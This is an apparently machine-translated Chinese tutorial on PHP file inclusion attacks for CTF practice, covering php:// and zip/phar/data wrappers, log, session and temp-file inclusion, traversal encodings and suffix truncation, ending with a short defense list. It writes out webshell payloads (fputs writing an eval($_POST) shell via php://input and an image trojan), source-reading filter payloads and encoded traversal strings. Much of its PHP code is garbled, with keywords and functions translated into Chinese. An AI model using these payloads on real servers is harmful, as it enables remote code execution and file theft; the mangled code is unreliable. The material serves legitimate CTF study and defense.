目录
1.什么是文件包含漏洞?
2、包含漏洞的文件的环境要求
3 常用文件包含函数
4 PHP伪协议
1.PHP://输入
2. PHP://过滤器
3.ZIP://
4.DATA://和PHAR://
5 包含APACHE 日志文件
5 包含会话
6 包括/PROC/SELF/ENVIRON
7 包含临时文件
包含8个上传的文件
包括其他9 个姿势
2. 如何避免文件包含漏洞
1.指定前缀绕过
1.目录遍历
2. 编码绕过
2.指定后缀绕过
1. 使用网址
2. 使用协议
3.修剪长度
4. 向下舍入%00
3. 文件包含漏洞防护
1.什么是文件包含漏洞
通过PHP 函数引入文件时,传入的文件名未正确验证,这可能导致意外的文件操作和意外的文件泄露或恶意代码注入。
2 文件包含漏洞的环境要求
allow_url_fopen=On(默认为On)指定是否允许从远程服务器或网站检索数据。
allowed_url_include=On(自php5.2起默认关闭)指定是否允许远程文件包含/要求。
3 常见文件包含函数
PHP 有四个常用的文件包含函数:
包括()
我需要()
include_once()
需要()_once()
include 和require 本质上是相同的,除了错误处理: 之外。
include() 只会生成警告(E_WARNING) 并且脚本将继续。
require() 生成致命错误(E_COMPILE_ERROR) 并停止脚本。
对于include_once() 和require()_once(),如果文件已被包含,则不会被包含。其他特征已在上面列出。
4 PHP伪协议
PHP 支持各种输入/输出流,允许访问PHP 的输入/输出流、标准输入、输出和错误描述符、内存中、磁盘支持的临时文件流以及可以对其他文件流进行操作的过滤器。 IO)流。读写文件资源。
一、PHP://INPUT
php://input 可以访问原始请求数据的只读流,并将请求后的数据作为PHP 代码执行。如果你想通过文件名打开传入参数,则将参数设置为php://input,post出你要设置的文件的内容,PHP运行时,该post的内容会被认为是文件。这可能会导致任意代码执行。
示例1:导致执行任意代码
元字符集=\’utf8\’
?php
错误报告(0);
$file=$_GET[\’文件\’];
if(stristr($file,\’php://过滤器\’) || stristr($file,\’zip://\’) || stristr($file,\’phar://\’) || stristr($file,\’data:\’ )){
退出(\’黑客!\’);
}
如果($文件){
if ($file!=\’http://www.baidu.com\’) echo \’提示:标志位于当前目录的文件中\’;
包含($文件);
}除此之外{
echo \’a href=\’?file=http://www.baidu.com\’点击进入baidu/a\’;
}
?
注意:您还可以使用php://input 创建PHP 木马。也就是在帖子中传递以下代码。
?PHP fputs(fopen(\’shell.php\’,\’w\’),\’?php @eval($_POST[cmd])?\’);
11
示例2:绕过文件内容
//测试.php
?php
显示源(__FILE__);
包括(\’flag.php\’);
$a=$_GET[\’a\’];
if(isset($a)(file_get_contents($a,\’r\’))===\’我想要标志\’){
回显“成功\\n”;
回显$标志;
}
//flag.php ?php $flag=‘flag{flag_is_here}’;
如果你审计test.php,你会发现如果参数$a不为空并且加载的文件包含“I Want flag”,那么$flag可能会出现。因此,您可以使用php://input 检索原始post 数据,访问原始请求数据的只读流,并将post 请求中的数据作为PHP 代码运行以绕过它。 注意:如果遇到file_get_contents(),您应该考虑使用php://input 绕过它。
二、PHP://FILTER
php://filter可以检索指定文件的源代码。当与include函数结合使用时,php://filter流将作为php文件执行。因此,您通常会对它进行编码,使其不会运行。这将读取任何文件。
POC1直接读取xxx.php文件,但由于很多信息往往无法直接显示在浏览器的页面上,所以我们需要使用POC2的方法对文件内容进行base64编码并在浏览器中显示。并自己解码。
示例1:
元字符集=\’utf8\’
?php
错误报告(0);
$file=$_GET[\’文件\’];
if(stristr($file,\’php://输入\’) || stristr($file,\’zip://\’) || stristr($file,\’phar://\’) || stristr($file,\’data:\’ )){
退出(\’黑客!\’);
}
如果($文件){
包含($文件);
}除此之外{
echo \’a href=\’?file=flag.php\’tips/a\’;
}
?
1. 点击提示进入下一页。 URL 中将显示“file=flag.php”。
2、如果尝试payload:php://filter/resource=flag.php,会发现内容无法显示。
3. 尝试使用payload:php://filter/read=convert.base64-encode/resource=flag.php获取一串base64字符,并解码flag.php源代码中注释中的标志。
三、ZIP://
zip://允许您访问压缩包内的文件。当与include 函数结合使用时, //zip: 流将作为PHP 文件执行。这允许执行任意代码。
只能将绝对路径传递给zip://。
使用#分隔压缩包和压缩包内容。 # 必须使用URL 编码%23 (即以下POC 中的# 必须替换为%23)。
只要是zip压缩包即可,后缀名可以改成自己喜欢的。
相同的类型有zlib://和bzip2://。
示例1:
//索引.php
元字符集=\’utf8\’
?php
错误报告(0);
$file=$_GET[\’文件\’];
if (!$file) echo \’a href=\’?file=upload\’上传?/a\’;
if(stristr($file,\’输入\’)||stristr($file,\’过滤器\’)||stristr($file,\’数据\’)/*||stristr($file,\’phar\’)*/){
“嗨?”我附和道。
出口();
}除此之外{
包括($文件。\’.php\’);
}
?
!– 标志位于当前目录的文件中–
//上传.php
元字符集=\’utf-8\’
form action=\’upload.php\’ method=\’post\’ enctype=\’multipart/form-data\’
输入类型=\’文件\’名称=\’fupload\’/
输入类型=\’提交\’值=\’上传!\’/
/形状
您可以上传jpg、png、zip.br/
?php
if( isset( $_FILES[\’fupload\’] ) ) {
$uploaded_name=$_FILES[ \’fupload\’ ][ \’name\’ ]; //文件名
$uploaded_ext=substr( $uploaded_name, strrpos( $uploaded_name, \’.\’ ) + 1);
$uploaded_size=$_FILES[ \’fupload\’ ][ \’size\’ ]; //文件大小
$uploaded_tmp=$_FILES[ \’fupload\’ ][ \’tmp_name\’ ] //服务器上存储的文件临时副本的名称
$target_path=\’上传\\\\\’.md5(uniqid(rand())).\’.\’.$uploaded_ext;
if( ( strto lower( $uploaded_ext )==\’jpg\’ || strto lower( $uploaded_ext )==\’jpeg\’ || strto lower( $uploaded_ext )==\’png\’ || strto lower( $uploaded_ext )==\’压缩\’ )
( $uploaded_size 100000 ) ) {
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {//否
echo \’预上传错误/上一个\’;
}
否则{//是的!
echo \’pre\’.dirname(__FILE__).\’\\\\{$target_path} 上传成功!/pre\’;
}
}
除此之外{
echo \’您可以提前上传jpg、png、zip./pre\’;
}
}
?
四、DATA://与PHAR://
data://也与php://input类似,允许用户控制输入流。当与包含函数结合时,用户输入的data://流将作为PHP文件执行。这可能会导致任意代码执行。
phar://与zip://类似,也可以导致任意代码执行。
phar://允许相对路径和绝对路径。
5 包含APACHE日志文件
Web 服务器通常将用户访问记录存储在访问日志中。然后,它根据日志记录的内容精心构造一个请求,将PHP代码注入到日志文件中,并利用文件包含漏洞执行日志中的PHP代码。
Apache 运行时通常会生成两个日志文件:Windows 上的Access.log 和error.log,并在Linux 上的Access 日志文件中记录每个请求。有关服务器响应的信息。访问不存在的资源,例如XXXX?php phpinfo(); 将被记录,但代码中的敏感字符可以通过burpsuit 绕过编码。 put ?php phpinfo(); 您可以通过写入apache 日志文件来包含日志文件来运行此代码,但作为先决条件,您必须知道Apache 日志文件的保存路径。为了安全起见,安装Apache 路径时不要使用默认值。
参考文章:1.getshell与日志文件2.CTF题与日志文件
5 包含SESSION
首先尝试将其包含在SESSION文件中,然后根据文件内容寻找可控变量,构建payload并将其插入到文件中,最后包含它。
使用条款:
查找会话中的可控变量
会话文件可读写且存储路径已知
您可以在phpinfo session.save_path中查看php会话文件的保存路径。
常见的session存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
会话文件格式:sess_[phpsessid],phpsessid可以在发送请求的cookie字段中找到。
参考文章:SESSION中包含的CTF题
6 包含/PROC/SELF/ENVIRON
用户代理标头存储在proc/self/environ 中。当您将php 代码插入到user-agent 中时,php 代码将被写入environ 并包含在内。
使用条款:
由于PHP 在CGI 模式下运行,Environ 维护UA 标头。
环境文件的位置是已知的并且环境文件是可读的。
参考文章:proc/self/environ注入
7 包含临时文件
当您使用php 上传文件时,会创建一个临时文件。在Linux 上,使用/tmp 目录;在Windows 上,使用c:\\winsdows\\temp 目录。 Race用于存储临时文件,直到它们被删除。
因为包含需要知道要包含的文件名。一种方法是执行强力猜测。虽然Linux上使用的随机函数有缺陷,但这种方法在Windows上是可行的,因为只有65535个不同的文件名。
另一种选择是使用phpinfo 页面上的php 变量来直接获取上传文件的存储路径和临时文件名并直接包含它。此方法可以使用PHPInfo Assistance 引用LFI。
类似于利用临时文件的存在来竞争包含时间,您可以检查以下CTF问题:XMAN Summer Camp-2017-babyweb-writeup
8 包含上传文件
许多网站通常提供上传头像和文档等内容的功能。此时,您可以上传并包含木马文本图像。
图片马的创建如下。在cmd控制台中输入以下内容:
进入1.jpg 和2.php 文件目录后,运行:
复制1.jpg/b+2.php 3.jpg
合并图像1.jpg和包含PHP代码的2.php文件生成图像3.jpg
假设文本图片木马已上传到服务器,路径为/upload/201811.jpg。图片代码为:
?fputs(fopen(\’shell.php\’,\’w\’),\’?php eval($_POST[\’pass\’]);\’)?
然后转到网址:http://www.xxxx.com/index.php?page=./upload/201811.jpg。包含此图像将在index.php 所在的目录中生成Shell.php。
9 其他包含姿势
包含SMTP(日志)
包含xss
2.文件包含漏洞的绕过方法
1.指定前缀绕过
一、目录遍历
使用././返回上一个目录称为目录遍历(或路径遍历)。示例:file=././phpinfo/phpinfo.php 测试代码为:
?php error_reporting(0); $file=$_GET[\’file\’] //前缀包括\’/var/www/html/\’。
span class=\’标记函数\’highlight_file/spanspan class=\’标记标点\'(/spanspan class=\’标记常量\’__FILE__/spanspan class=\’标记标点\’)/spanspan class=\’标记标点\’;/span
现在/var/log目录下已经创建了flag.txt文件,可以使用./进行目录遍历。例如,尝试像这样访问它:
include.php?file=././log/flag.txt
那么服务器连接的实际路径将是/var/www/html/././log/test.txt,即/var/log/flag.txt,并且将包含成功。
二、编码绕过
服务器通常会对./之类的内容进行某种过滤,但这可以通过使用某种编码来避免。 1.使用URL编码
./
%2e%2e%2f
.%2f
%2e%2e/
.\\
%2e%2e%5c
.%5c
%2e%2e\\
2.二次编码
./
%252e%252e%252f
.\\
%252e%252e%255c
3.容器/服务器编码方式
./
.%c0%af
注意:为什么目录遍历攻击%C0%AF会起作用?
%c0%ae%c0%ae/
注意:Java 将“%c0%ae”解析为“\\uC0AE”,并最终将其转义为ASCCII 字符“.”(点)。 Apache Tomcat 目录遍历
.\\
.%c1%9c
2.指定后缀绕过
后缀绕过测试代码为:此代码用于以下每种后缀绕过方法:
?php error_reporting(0); $file=$_GET[\’file\’] //后缀为$file.\’.txt\’;
span class=\’标记函数\’highlight_file/spanspan class=\’标记标点\'(/spanspan class=\’标记常量\’__FILE__/spanspan class=\’标记标点\’)/spanspan class=\’标记标点\’;/span
一、利用URL
远程文件包含漏洞(RFI) 允许您使用查询或片段绕过后缀限制。 请参阅这篇文章:URI 片段
完整网址格式:
协议://主机名[:端口]/路径/[;参数][?查询]#fragment
11
询问(?)
[访问参数] ?file=http://localhost:8081/phpinfo.php?
[连接后] ?file=http://localhost:8081/phpinfo.php?txt
示例:(假设您的根目录中有一个flag2.txt 文件)
片()
【访问参数】?file=http://localhost:8081/phpinfo.php%23
[连接后] ?file=http://localhost:8081/phpinfo.php#.txt
示例:(假设您的根目录中有一个flag2.txt 文件)
二、利用协议
用zip://和phar://整个压缩包是一个可控参数,所以你只需要知道它的后缀就可以自己构建了。
zip://
【访问参数】?file=zip://D:\\zip.jpg%23phpinfo
【加入后】?file=zip://D:\\zip.jpg#phpinfo.txt
pha: //
【访问参数】?file=phar://zip.zip/phpinfo
[合并后] ?file=phar://zip.zip/phpinfo.txt
例如:(我的环境根目录下有一个php.zip压缩包,里面有一个phpinfo.txt,代码为?php phpinfo();))所以payload是单独构建的。
?file=zip://D:\\PHPWAMP_IN3\\wwwroot\\php.zip%23phpinfo
?file=phar://././php.zip/phpinfo
三、长度截断
使用条款:
PHP 版本PHP 5.2.8
原则:
Windows 上的最大目录长度为256 字节,超出的长度将被丢弃。
在Linux 上,最大目录长度为4096 字节,超出的长度将被丢弃。
如何使用:
不断重复./即可(Windows系统上也可以直接使用.来截断)
?文件=./././。忽略。/./shell.php
11
指定的后缀.txt一旦达到最大值将直接丢弃。
四、%00截断
使用条款:
magic_quotes_gpc=关闭
PHP 版本PHP 5.3.4
如何使用:
要截断指定的后缀名,请直接在文件名末尾添加%00。
?文件=shell.php%00
注意:目前,%00 阶段很少使用。
3.文件包含漏洞防御
allow_url_include 和allow_url_fopen 的最低权限
设置open_basedir(open_basedir限制php可以打开的文件到指定的目录树)
*限制或严格过滤白名单中包含的文件。 /*
以上相关内容来源网络对#CTF中文件漏洞的总结,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91178.html